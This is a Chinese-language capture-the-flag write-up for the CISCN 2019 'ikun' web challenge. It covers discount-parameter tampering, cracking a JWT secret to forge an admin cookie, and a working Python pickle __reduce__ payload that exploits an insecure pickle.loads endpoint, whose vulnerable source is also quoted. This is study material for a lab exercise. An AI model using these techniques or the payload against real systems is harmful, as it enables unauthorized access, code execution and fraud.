• [CISCN 2019]ikun题解


    这道题的题目页面如下:

    题目中要求要买到lv6,但是翻了好多页能买到的都是lv5及以下的物品,写一个脚本爆破一下lv6。

    import requests
    url = "http://7a73bf1c-9801-4509-bc9f-1e894d3df22a.node3.buuoj.cn/shop?page="
    i= 1
    while True:
        r = requests.get(url+str(i))
        if "lv6.png" in r.text:
            print(i)
            break
        i+=1
    

    脚本显示的结果为181,181页中显示lv6的价格高达1145141919.0,很明显自己的钱不够,这里可以利用一个薅羊毛的漏洞,购买物品的结算界面有优惠,以下是购买普通lv4的一个测试。

    修改diccount可以成功以超低价格买入。

    用以上思路我们可以成功买入lv6。

    之后会弹出一个admin页面,目录在/b1g_m4mber下,并显示只允许admin访问,这里应该是需要伪造admin的cookie。之前并没有接触过伪造cookie的问题,接下来的部分是借用大佬的思路,利用jwt进行cookie伪造。

    在https://jwt.io/#encoded-jwt页面输入自己的cookie值可以看到自己用户名。

    使用c-jwt-cracker可以爆破密钥,密钥为1Kun。

    利用burpsite修改cookie可以进入管理员界面。

    查看网页源码

    image-20200312111615929

    有一个文件,可以下载下来。

    里面的admin.py文件存在一个反序列化点

    import tornado.web
    from sshop.base import BaseHandler
    import pickle
    import urllib
    
    
    class AdminHandler(BaseHandler):
        @tornado.web.authenticated
        def get(self, *args, **kwargs):
            if self.current_user == "admin":
                return self.render('form.html', res='This is Black Technology!', member=0)
            else:
                return self.render('no_ass.html')
    
        @tornado.web.authenticated
        def post(self, *args, **kwargs):
            try:
                become = self.get_argument('become')
                p = pickle.loads(urllib.unquote(become))
                return self.render('form.html', res=p, member=1)
            except:
                return self.render('form.html', res='This is Black Technology!', member=0)
    
    

    become参数会被反序列化,在反序列化时可以充分利用好reduce魔术方法来获取flag。

    import pickle
    from urllib.parse import quote
    class payload(object):
        def __reduce__(self):
           return (eval, ("open('/flag.txt').read()",))
    
    a = pickle.dumps(payload(),protocol=0)
    print(quote(a))
    

    关于反序列化有一个坑,就是不同python版本以及反序列化的协议产生的反序列化结果是不一样的,这里如果用python2可以省去protocol=0这个参数,本文中使用的python3。

    发送payload即可得到flag。

    本题目涉及的考点有薅羊毛漏洞、JWTcookie伪造和python反序列化。

  • 相关阅读:
    电影经典台词整理
    墨菲定律
    自我修养
    eclipse 点击 new window 后,关闭新增的窗口
    mysql 修改表结构以支持事务操作
    JavaScript高级程序设计学习笔记第六章--面向对象程序设计
    JavaScript高级程序设计学习笔记第五章--引用类型(函数部分)
    JavaScript高级程序设计学习笔记第五章--引用类型
    JavaScript高级程序设计学习笔记第四章--变量、作用域和内存问题
    JavaScript高级程序设计学习笔记第三章--基本概念
  • 原文地址:https://www.cnblogs.com/kevinbruce656/p/12470200.html
Copyright © 2020-2023  润新知